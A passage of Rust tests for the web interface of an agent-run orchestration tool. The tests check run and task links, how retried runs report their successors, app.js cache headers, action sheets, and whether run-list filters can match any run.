22673    fn source_link_picks_the_page_that_filed_the_task() {
22674        let agent = |node: &str| Source::Agent {
22675            run: "20260904-014455-ab12".to_owned(),
22676            node: node.to_owned(),
22677        };
22678        let chat = source_link(&agent("chat")).expect("chat link");
22679        assert_eq!(chat.kind, "chat");
22680        assert_eq!(chat.id, "20260904-014455-ab12");
22681        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22682        let run = source_link(&agent("implement")).expect("run link");
22683        assert_eq!(
22684            (run.kind, run.href.as_str()),
22685            ("run", "#/runs/20260904-014455-ab12")
22686        );
22687        assert_eq!(source_link(&Source::Human), None);
22688        assert_eq!(
22689            source_link(&Source::Issue {
22690                number: 3,
22691                repo: "o/r".to_owned()
22692            }),
22693            None
22694        );
22695        let odd = source_link(&Source::Agent {
22696            run: "a b/c".to_owned(),
22697            node: "chat".to_owned(),
22698        })
22699        .expect("link");
22700        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22701    }
22702
22703    #[test]
22704    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22705        assert!(
22706            !APP_JS.contains("src.node === \"chat\""),
22707            "inline href rule is back"
22708        );
22709        assert!(
22710            APP_JS.matches("sourceLinkOf(").count() >= 4,
22711            "helper must serve every page"
22712        );
22713        assert!(
22714            APP_JS.matches("openChatLink(").count() >= 3,
22715            "the run page still needs its explicit chat link"
22716        );
22717        assert!(
22718            !APP_JS.contains("const openChat = el("),
22719            "the Queue card duplicates its source label link again"
22720        );
22721        assert!(
22722            APP_JS.contains("metaKids.push(link ? el(\"a\""),
22723            "the task page must link a chat source label too"
22724        );
22725    }
22726
22727    #[test]
22728    fn task_ref_carries_the_source_link_for_a_chat_task() {
22729        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22730        t.source = Source::Agent {
22731            run: "20260904-014455-ab12".to_owned(),
22732            node: "chat".to_owned(),
22733        };
22734        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22735        let v = serde_json::to_value(&out).expect("json");
22736        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22737        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22738        assert_eq!(v["source_label"], t.source.label());
22739
22740        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22741        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22742            .expect("json");
22743        assert!(v["source_link"].is_null(), "{v}");
22744    }
22745
22746    #[test]
22747    fn task_view_serializes_source_link() {
22748        let mut t = Task::new(
22749            "t".to_owned(),
22750            "t".to_owned(),
22751            PathBuf::from("/repo"),
22752            Source::Agent {
22753                run: "20260901-000000-aaaa".to_owned(),
22754                node: "implement".to_owned(),
22755            },
22756        );
22757        t.runs.clear();
22758        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22759        assert_eq!(v["source_link"]["kind"], "run", "{v}");
22760        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22761    }
22762
22763    #[test]
22764    fn task_view_serializes_urgent_flag() {
22765        let mut t = Task::new(
22766            "t".to_owned(),
22767            "t".to_owned(),
22768            PathBuf::from("/repo"),
22769            Source::Human,
22770        );
22771        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22772        assert_eq!(v["urgent"], false, "{v}");
22773        t.urgent = true;
22774        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22775        assert_eq!(v["urgent"], true, "{v}");
22776        assert!(APP_JS.contains("task.urgent === true"));
22777    }
22778
22779    #[tokio::test]
22780    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22781        let fx = Fixture::start().await;
22782        let runs = fx.runs();
22783        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22784        write_run(&runs, old, RunStatus::Blocked);
22785        write_run(&runs, new, RunStatus::Merged);
22786        let mut t = outcome_task(&[old, new], TaskStatus::Done);
22787        fx.queue().put(&mut t).expect("put");
22788
22789        let view = fx.get(&format!("/api/runs/{old}")).await.json();
22790        let task = &view["task"];
22791        assert_eq!(task["status"], "done");
22792        assert_eq!(task["is_latest"], false);
22793        assert_eq!(task["latest"]["short"], "bbbb");
22794        assert_eq!(task["finished_by"]["id"], new);
22795        assert_eq!(task["finished_by"]["outcome"], "merged");
22796        assert_eq!(task["closed_by_hand"], false);
22797        assert_eq!(view["status"], "blocked", "the run keeps its own status");
22798        assert!(APP_JS.contains("finished_by"));
22799        assert!(APP_JS.contains("superseded by run"));
22800    }
22801
22802    #[tokio::test]
22803    async fn the_latest_run_reports_a_held_task_without_a_successor() {
22804        let fx = Fixture::start().await;
22805        let runs = fx.runs();
22806        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22807        write_run(&runs, old, RunStatus::Stalled);
22808        write_run(&runs, new, RunStatus::Blocked);
22809        let mut t = outcome_task(&[old, new], TaskStatus::Held);
22810        fx.queue().put(&mut t).expect("put");
22811
22812        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22813        assert_eq!(task["status"], "held");
22814        assert_eq!(task["is_latest"], true);
22815        assert!(task["latest"].is_null());
22816        assert!(task["finished_by"].is_null());
22817        assert_eq!(task["closed_by_hand"], false);
22818    }
22819
22820    #[tokio::test]
22821    async fn a_direct_run_has_no_task_outcome() {
22822        let fx = Fixture::start().await;
22823        let runs = fx.runs();
22824        let id = "20260901-000000-aaaa";
22825        write_run(&runs, id, RunStatus::Blocked);
22826        let view = fx.get(&format!("/api/runs/{id}")).await.json();
22827        assert!(view["task"].is_null());
22828    }
22829
22830    #[test]
22831    fn task_outcome_does_not_guess_a_finishing_run() {
22832        let a = "20260901-000000-aaaa";
22833        let b = "20260901-000000-bbbb";
22834        let c = "20260901-000000-cccc";
22835        let dir = tempfile::tempdir().expect("tempdir");
22836        write_run(dir.path(), a, RunStatus::Blocked);
22837        write_run(dir.path(), b, RunStatus::VerifiedNoop);
22838        // `c` has no record: unreadable.
22839        let read = |id: &str| read_run(dir.path(), id).ok();
22840        // Neither a blocked run nor a no-op finished the task; the newest run is
22841        // unreadable and still named.
22842        let t = outcome_task(&[a, b, c], TaskStatus::Done);
22843        let out = task_outcome(&t, a, 3, read);
22844        assert!(out.finished_by.is_none());
22845        assert!(out.closed_by_hand);
22846        let latest = out.latest.expect("latest");
22847        assert_eq!(latest.id, c);
22848        assert_eq!(latest.status, None);
22849        assert_eq!(latest.outcome, "record unreadable");
22850
22851        // A Ready run settles the task as done, so it is named as the finisher.
22852        write_run(dir.path(), c, RunStatus::Ready);
22853        let t = outcome_task(&[a, c], TaskStatus::Done);
22854        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22855        assert_eq!(out.finished_by.expect("finisher").id, c);
22856        assert!(!out.closed_by_hand);
22857
22858        // A resumed run id repeats: it is still the latest by id.
22859        let t = outcome_task(&[a, b, a], TaskStatus::Held);
22860        assert!(task_outcome(&t, a, 3, read).is_latest);
22861    }
22862
22863    #[tokio::test]
22864    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22865        // The list route has known this since the card fix above; the detail
22866        // route — what an operator actually opens from a notification about
22867        // a blocked run — did not, and went on showing a bare red BLOCKED
22868        // chip for a run a retry had already finished.
22869        let fx = Fixture::start().await;
22870        let q = fx.queue();
22871        let runs = fx.runs();
22872        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22873        write_run(&runs, first, RunStatus::Blocked);
22874        write_run(&runs, second, RunStatus::Merged);
22875
22876        let mut t = Task::new(
22877            "one task".to_owned(),
22878            "do it".to_owned(),
22879            PathBuf::from("/repo"),
22880            Source::Human,
22881        );
22882        t.runs = vec![first.to_owned(), second.to_owned()];
22883        q.put(&mut t).expect("put");
22884
22885        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22886        assert_eq!(earlier["superseded_by"], "dddd");
22887        assert_eq!(earlier["latest_attempt"]["id"], second);
22888        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22889        assert_eq!(
22890            earlier["latest_attempt"]["resolved"], true,
22891            "the run that replaced it landed, so this one reads as settled"
22892        );
22893
22894        let later = fx.get(&format!("/api/runs/{second}")).await.json();
22895        assert!(
22896            later["superseded_by"].is_null(),
22897            "the latest attempt is not superseded by anything"
22898        );
22899        assert!(
22900            later["latest_attempt"].is_null(),
22901            "the latest attempt has no later attempt of its own"
22902        );
22903
22904        // Front end: the detail page has to read the field this route now
22905        // carries, downgrade the chip, and link to the run that replaced it —
22906        // not just repeat the list card's own logic under a different name.
22907        // The link is built off `latest_attempt.id`, the server-resolved
22908        // full id, never a bare short string a client would have to guess a
22909        // full run from.
22910        assert!(APP_JS.contains("run.latest_attempt"));
22911        assert!(APP_JS.contains("data-superseded"));
22912        assert!(APP_JS.contains("#/runs/${latest.id}"));
22913    }
22914
22915    #[tokio::test]
22916    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22917        // A -> B -> C, all Blocked except the last. A's immediate successor
22918        // (superseded_by) is B, which is itself unresolved; what an operator
22919        // opening A's page actually needs is where the task's story stands
22920        // *now* - C, not B - without depending on whether C happens to be in
22921        // whatever page of /api/runs the client last cached.
22922        let fx = Fixture::start().await;
22923        let q = fx.queue();
22924        let runs = fx.runs();
22925        let (a, b, c) = (
22926            "20260901-000000-aaaa",
22927            "20260901-000000-bbbb",
22928            "20260901-000000-cccc",
22929        );
22930        write_run(&runs, a, RunStatus::Blocked);
22931        write_run(&runs, b, RunStatus::Blocked);
22932        write_run(&runs, c, RunStatus::Merged);
22933
22934        let mut t = Task::new(
22935            "retried twice".to_owned(),
22936            "do it".to_owned(),
22937            PathBuf::from("/repo"),
22938            Source::Human,
22939        );
22940        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22941        q.put(&mut t).expect("put");
22942
22943        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22944        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22945        assert_eq!(
22946            view["latest_attempt"]["id"], c,
22947            "the chain's current head, not the intermediate Blocked retry"
22948        );
22949        assert_eq!(view["latest_attempt"]["resolved"], true);
22950
22951        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22952        assert_eq!(mid["latest_attempt"]["id"], c);
22953        assert_eq!(mid["latest_attempt"]["resolved"], true);
22954    }
22955
22956    #[tokio::test]
22957    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22958        let fx = Fixture::start().await;
22959        let q = fx.queue();
22960        let runs = fx.runs();
22961
22962        // Still Blocked: the task is not resolved, so the older run must not
22963        // read as settled either.
22964        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22965        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22966        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22967        let mut t1 = Task::new(
22968            "still stuck".to_owned(),
22969            "do it".to_owned(),
22970            PathBuf::from("/repo"),
22971            Source::Human,
22972        );
22973        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22974        q.put(&mut t1).expect("put");
22975        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22976        assert_eq!(view1["latest_attempt"]["resolved"], false);
22977        assert_eq!(view1["latest_attempt"]["status"], "blocked");
22978        assert_eq!(view1["latest_attempt"]["done"], true);
22979
22980        // Still running: the successor exists and must be reported as such.
22981        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22982        write_run(&runs, run_a, RunStatus::Blocked);
22983        write_run(&runs, run_b, RunStatus::Implementing);
22984        let mut t3 = Task::new(
22985            "retrying".to_owned(),
22986            "do it".to_owned(),
22987            PathBuf::from("/repo"),
22988            Source::Human,
22989        );
22990        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22991        q.put(&mut t3).expect("put");
22992        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22993        assert_eq!(view3["latest_attempt"]["id"], run_b);
22994        assert_eq!(view3["latest_attempt"]["resolved"], false);
22995        assert_eq!(view3["latest_attempt"]["done"], false);
22996
22997        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
22998        // to check - not a confirmed finish, so this must not read as
22999        // resolved either, even though the run is done in the sense that
23000        // nothing is still running.
23001        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23002        write_run(&runs, noop_a, RunStatus::Blocked);
23003        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23004        let mut t2 = Task::new(
23005            "claims done".to_owned(),
23006            "do it".to_owned(),
23007            PathBuf::from("/repo"),
23008            Source::Human,
23009        );
23010        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23011        q.put(&mut t2).expect("put");
23012        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23013        assert_eq!(
23014            view2["latest_attempt"]["resolved"], false,
23015            "an unverified no-op claim must not read as a confirmed finish"
23016        );
23017
23018        // Front end: an unresolved successor must not carry the "finished
23019        // this work" note or the muted chip treatment.
23020        assert!(APP_JS.contains("latest.resolved"));
23021        // ...but the link to it shows as soon as it exists, labelled by state
23022        // and without the "finished" wording or the muted chip.
23023        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23024        assert!(APP_JS.contains("Latest attempt: "));
23025        assert!(APP_JS.contains("in flight"));
23026        assert!(APP_JS.contains("not resolved"));
23027    }
23028
23029    #[tokio::test]
23030    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23031        let fx = Fixture::start().await;
23032        // No cache header at all meant browsers invented their own policy,
23033        // and one did: a phone went on showing "Candidates must be folded
23034        // before deleting. Run `magi fold` first." - deleted two releases
23035        // earlier - from a deck that no longer contained the sentence. The
23036        // button it named was right there, and unreachable.
23037        let js = fx.get("/app.js").await;
23038        assert_eq!(js.status, 200);
23039        let tag = js
23040            .header("etag")
23041            .expect("an etag to revalidate against")
23042            .to_owned();
23043        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23044        assert_eq!(
23045            js.header("cache-control"),
23046            Some("no-cache, must-revalidate"),
23047            "the phone has to ask every time"
23048        );
23049
23050        // And the asking has to be cheap, or `must-revalidate` just means
23051        // "send the whole interface on every load".
23052        let again = fx
23053            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23054            .await;
23055        assert_eq!(
23056            again.status, 304,
23057            "a deck it already has costs one round trip"
23058        );
23059        assert!(again.body.is_empty(), "304 carries no body");
23060
23061        // A weakened tag from a proxy still matches; a different build does
23062        // not, which is the case that has to deliver the new interface.
23063        let weak = fx
23064            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23065            .await;
23066        assert_eq!(weak.status, 304);
23067        let stale = fx
23068            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23069            .await;
23070        assert_eq!(stale.status, 200, "an older build must be replaced");
23071        assert!(stale.body.contains("renderRunActions"));
23072    }
23073
23074    #[test]
23075    fn the_task_detail_has_an_actions_fab_and_sheet() {
23076        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23077        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23078        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23079        // Shown only on the task route, closed everywhere else.
23080        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23081        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23082        // Refreshed whenever the detail redraws, including the loading state.
23083        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23084        assert!(APP_JS.contains("renderTaskActions(null);"));
23085        // Same renderers and routes as the Queue card, no new endpoint.
23086        let sheet = APP_JS
23087            .find("function renderTaskActions")
23088            .expect("sheet renderer");
23089        let body = &APP_JS[sheet..sheet + 3000];
23090        assert!(body.contains("changePriority("));
23091        assert!(body.contains("openTaskEdit(task)"));
23092        assert!(body.contains("renderTaskHoldBox(host"));
23093        assert!(body.contains("renderTaskDoneBox(host"));
23094        assert!(body.contains("renderTaskDeleteBox(host"));
23095        assert!(APP_JS.contains("API.priority(id)"));
23096        assert!(APP_JS.contains("API.deleteTask(id)"));
23097        // A deleted task sends the operator back to the queue.
23098        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23099        // A refusal is shown inside the sheet.
23100        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23101    }
23102
23103    #[test]
23104    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23105        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23106        let actions = INDEX_HTML
23107            .find("id=\"run-actions-box\"")
23108            .expect("actions box");
23109        assert!(task < actions, "the task entry comes first in the sheet");
23110        assert!(APP_JS.contains("renderRunTaskEntry"));
23111        assert!(APP_JS.contains("\"Open task \""));
23112        // A run without a task says why there is nothing to open.
23113        assert!(APP_JS.contains("started directly, no task"));
23114        assert!(APP_JS.contains("sheet-task-link"));
23115        assert!(APP_JS.contains("task-chip-link"));
23116    }
23117
23118    #[test]
23119    fn the_deck_never_sends_the_operator_to_a_terminal() {
23120        // The whole point of the phone UI is that a terminal is not needed.
23121        // The delete control used to answer with "Run `magi fold` first."
23122        assert!(
23123            !APP_JS.contains("Run `magi fold` first"),
23124            "the deck must offer the fold, not prescribe a shell command"
23125        );
23126        assert!(APP_JS.contains("foldRun:"));
23127        assert!(APP_JS.contains("resumeRun:"));
23128        assert!(APP_JS.contains("renderRunActions"));
23129
23130        // Folding is destructive and armed in two steps, like deleting.
23131        assert!(APP_JS.contains("armedFold"));
23132        assert!(APP_JS.contains("Yes, fold worktrees"));
23133
23134        // And the copy has to say that the two actions are opposites, because
23135        // folding throws away exactly what a resume would continue from.
23136        assert!(APP_JS.contains("can no longer be resumed"));
23137    }
23138
23139    #[test]
23140    fn a_finished_run_explains_itself_with_its_own_last_line() {
23141        // The deck used to answer "why did this stop?" with a sentence chosen
23142        // by status alone. Run e633 stalled because two judges answered with
23143        // the wrong JSON shape and its card said "The panel collapsed on
23144        // agent quota" - with `quota: []` in the record and a quota-loss
23145        // counter right above it that correctly said nothing.
23146        assert!(
23147            !APP_JS.contains("collapsed on agent quota"),
23148            "a stall must not be explained by a cause the deck did not check"
23149        );
23150        assert!(
23151            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23152            "and a block must not offer a guess with an `or` in it"
23153        );
23154
23155        // The reason it does have is `run.event`, which must reach finished
23156        // runs: gating it on movement hid the recorded truth at the one moment
23157        // the operator is reading the card to find out what happened.
23158        assert!(
23159            APP_JS.contains("setText(r.event, run.event || \"\")"),
23160            "the run's last line is rendered unconditionally"
23161        );
23162        assert!(
23163            !APP_JS.contains("moving && run.event"),
23164            "and never gated on the run still moving"
23165        );
23166
23167        // Quota keeps its own counter, fed by the number actually recorded.
23168        assert!(APP_JS.contains("lost to quota"));
23169    }
23170
23171    /// The runs tree (section) and the state chips (waiting/done) are two
23172    /// independent lenses ANDed together in `renderRuns`, and some pairings
23173    /// can never both be true for any run - every "Landed"/"Ended" run is
23174    /// done by construction, so pairing either with "Active" or "In flight"
23175    /// always rendered zero cards with the filter bar still claiming
23176    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23177    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23178    /// a handful of (waiting, status) shapes standing in for the run
23179    /// lifecycle, because `cargo test` cannot execute the front end.
23180    ///
23181    /// That stand-in list is itself the part that drifted twice in review:
23182    /// once shipped with `waiting: true` paired with a done status the
23183    /// lifecycle cannot produce, then over-corrected into treating every
23184    /// waiting run as never done - which made "Waiting on you" look
23185    /// incompatible with "Done" even for the one real, reachable shape
23186    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23187    /// that combination. This test parses the shapes and the done-rule back
23188    /// out of `APP_JS`, reimplements `runSection` and the five state
23189    /// predicates independently in Rust, and checks the resulting
23190    /// section/filter compatibility table against the lifecycle rules by
23191    /// hand - so either direction of drift fails it again.
23192    #[test]
23193    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23194        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23195        let shapes_body_start =
23196            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23197        let shapes_close = APP_JS[shapes_body_start..]
23198            .find("].map(")
23199            .expect("the shape list is closed by its done-computing .map(...)")
23200            + shapes_body_start;
23201        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23202
23203        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23204        for entry in shapes_src.split('{').skip(1) {
23205            let waiting = entry.contains("waiting: true");
23206            let dead = entry.contains("live: \"dead\"");
23207            let status_at =
23208                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23209            let status_end = entry[status_at..]
23210                .find('"')
23211                .expect("the status string is closed")
23212                + status_at;
23213            let parked = entry.contains("display_status: \"parked\"");
23214            shapes.push((
23215                waiting,
23216                entry[status_at..status_end].to_string(),
23217                dead,
23218                parked,
23219            ));
23220        }
23221        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23222
23223        // The done rule itself (`!["implementing"].includes(shape.status)`),
23224        // read out of the source rather than hardcoded, so a renamed
23225        // in-flight status can't silently make every parsed shape "done".
23226        let done_rule_marker = "done: !";
23227        let done_rule_at = APP_JS[shapes_close..]
23228            .find(done_rule_marker)
23229            .expect("the done rule follows the shape list")
23230            + shapes_close
23231            + done_rule_marker.len();
23232        let includes_at = APP_JS[done_rule_at..]
23233            .find(".includes(shape.status)")
23234            .expect("the done rule ends in .includes(shape.status)")
23235            + done_rule_at;
23236        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23237            .trim()
23238            .trim_start_matches('[')
23239            .trim_end_matches(']')
23240            .split(',')
23241            .map(|s| s.trim().trim_matches('"'))
23242            .filter(|s| !s.is_empty())
23243            .collect();
23244
23245        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23246            .into_iter()
23247            .map(|(waiting, status, dead, parked)| {
23248                let done = !not_done.contains(&status.as_str());
23249                (waiting, status, dead, parked, done)
23250            })
23251            .collect();
23252
23253        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23254        // outright, then merged/ready land, stalled/blocked/failed/
23255        // verified_noop end, and everything else is still in flight.
23256        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23257            if waiting {
23258                return "waiting";
23259            }
23260            if dead
23261                && !parked
23262                && !matches!(
23263                    status,
23264                    "merged"
23265                        | "ready"
23266                        | "stalled"
23267                        | "blocked"
23268                        | "failed"
23269                        | "verified_noop"
23270                        | "superseded"
23271                        | "already_in_base"
23272                )
23273            {
23274                return "stale";
23275            }
23276            match status {
23277                "merged" | "ready" => "landed",
23278                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23279                | "already_in_base" => "ended",
23280                _ => "flight",
23281            }
23282        }
23283
23284        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23285        // way.
23286        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23287            match filter_key {
23288                "active" => !done,
23289                "flight" => !done && !waiting && !dead,
23290                "stale" => !done && !waiting && dead,
23291                "waiting" => waiting,
23292                "done" => done,
23293                "all" => true,
23294                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23295            }
23296        }
23297
23298        let compatible = |section: &str, filter_key: &str| {
23299            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23300                run_section(*waiting, status, *dead, *parked) == section
23301                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23302            })
23303        };
23304
23305        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23306        // (active, flight, stale, waiting, done, all) - hand-derived from the
23307        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23308        // currently contains.
23309        let expected = [
23310            ("waiting", [true, false, false, true, true, true]),
23311            ("stale", [true, false, true, false, false, true]),
23312            ("flight", [true, true, false, false, false, true]),
23313            ("landed", [false, false, false, false, true, true]),
23314            ("ended", [false, false, false, false, true, true]),
23315        ];
23316        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23317
23318        for (section, wants) in expected {
23319            for (filter_key, want) in filter_keys.iter().zip(wants) {
23320                assert_eq!(
23321                    compatible(section, filter_key),
23322                    want,
23323                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23324                );
23325            }
23326        }
23327
23328        // The compatibility check exists only to be acted on: both pickers
23329        // must actually consult it rather than just render its answer.
23330        assert!(
23331            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23332        );
23333        assert!(APP_JS.contains(
23334            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23335        ));
23336        assert!(APP_JS.contains(
23337            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23338        ));
23339    }
23340
23341    #[tokio::test]
23342    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23343        // An operator-named directory - git checkout or not - is never
23344        // second-guessed, even when it does not exist at all: only the
23345        // flag's own unmodified `.` default is ever eligible for discovery.
23346        let dir = tempfile::tempdir().expect("tempdir");
23347        let explicit = dir.path().join("not-a-checkout");
23348        std::fs::create_dir_all(&explicit).expect("create dir");
23349        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23350
23351        let missing = dir.path().join("does-not-exist-at-all");
23352        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23353    }
23354
23355    #[test]
23356    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23357        assert!(APP_JS.contains("function statsDonutArcs"));
23358        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23359        // A bucket click filters by the statuses src/stats.rs counts in it.
23360        assert!(APP_JS.contains("function statusInBucket"));
23361        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23362        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23363        let buckets = [
23364            "merged",
23365            "ready",
23366            "in_progress",
23367            "blocked",
23368            "failed",
23369            "verified_noop",
23370            "superseded",
23371            "stalled",
23372        ];
23373        for key in buckets {
23374            let var = format!("--verdict-{key}:");
23375            // Light, OS-dark and pinned-dark blocks each define it.
23376            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23377            assert!(
23378                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23379                "{key}"
23380            );
23381        }
23382    }
23383
23384    #[tokio::test]
23385    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23386        let dir = tempfile::tempdir().expect("tempdir");
23387        let queue = Queue::at(dir.path().join("queue"));
23388        let talks = Talks::at(dir.path().join("talks"));
23389        std::fs::create_dir_all(queue.root()).unwrap();
23390        std::fs::create_dir_all(talks.root()).unwrap();
23391
23392        // Put a corrupt json file in both stores
23393        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23394        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23395
23396        // Valid task and talk
23397        let mut task = Task::new(
23398            "title".into(),
23399            "inst".into(),
23400            PathBuf::from("/repo"),
23401            Source::Human,
23402        );
23403        task.id = "20261019-123456-abcd".into();
23404        // Write manually so it's a valid file
23405        std::fs::write(
23406            queue.path_of(&task.id),
23407            serde_json::to_string(&task).unwrap(),
23408        )
23409        .unwrap();
23410
23411        let talk_id = "20261019-234567-cdef";
23412        seed_talk_at(&talks, talk_id, "open");
23413
23414        // Exact match should succeed without failing on the corrupt json file
23415        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23416        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23417
23418        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23419        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23420        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23421    }
23422
23423    #[tokio::test]
23424    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23425        let home = tempfile::tempdir().unwrap();
23426        let ui = delta_test_ui(home.path());
23427        // A full history traversal would fail even with no questions.
23428        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23429        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23430        assert!(
23431            questions_list(State(ui.clone()))
23432                .await
23433                .unwrap()
23434                .0
23435                .is_empty()
23436        );
23437        assert!(
23438            question_origins(State(ui.clone()))
23439                .await
23440                .unwrap()
23441                .0
23442                .is_empty()
23443        );
23444        let mut question = Question::new(
23445            "run-history".into(),
23446            "review".into(),
23447            "seat".into(),
23448            "Useful question".into(),
23449            "Useful detail".into(),
23450            vec![],
23451        );
23452        ui.questions.put(&mut question).unwrap();
23453        let core = questions_core(State(ui.clone())).await.unwrap().0;
23454        assert_eq!(core.len(), 1);
23455        assert_eq!(core[0].question.summary, "Useful question");
23456        assert!(!core[0].can_consult_chat);
23457        assert!(core[0].origin_chat.is_none());
23458        assert_eq!(core[0].record_revision, question_record_revision(&question));
23459        assert!(question_origins(State(ui.clone())).await.is_err());
23460        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23461    }
23462
23463    #[test]
23464    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23465        let home = tempfile::tempdir().unwrap();
23466        let ui = delta_test_ui(home.path());
23467        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23468        for i in 0..1000 {
23469            let mut task = Task::new(
23470                "unrelated".into(),
23471                "instruction ".repeat(256),
23472                PathBuf::from("/repo"),
23473                Source::Human,
23474            );
23475            task.id = format!("history-{i:04}");
23476            ui.queue.put(&mut task).unwrap();
23477            let id = seed_talk_at(&ui.talks, &task.id, "open");
23478            let mut talk = ui.talks.get(&id).unwrap();
23479            talk.pending = "history ".repeat(256);
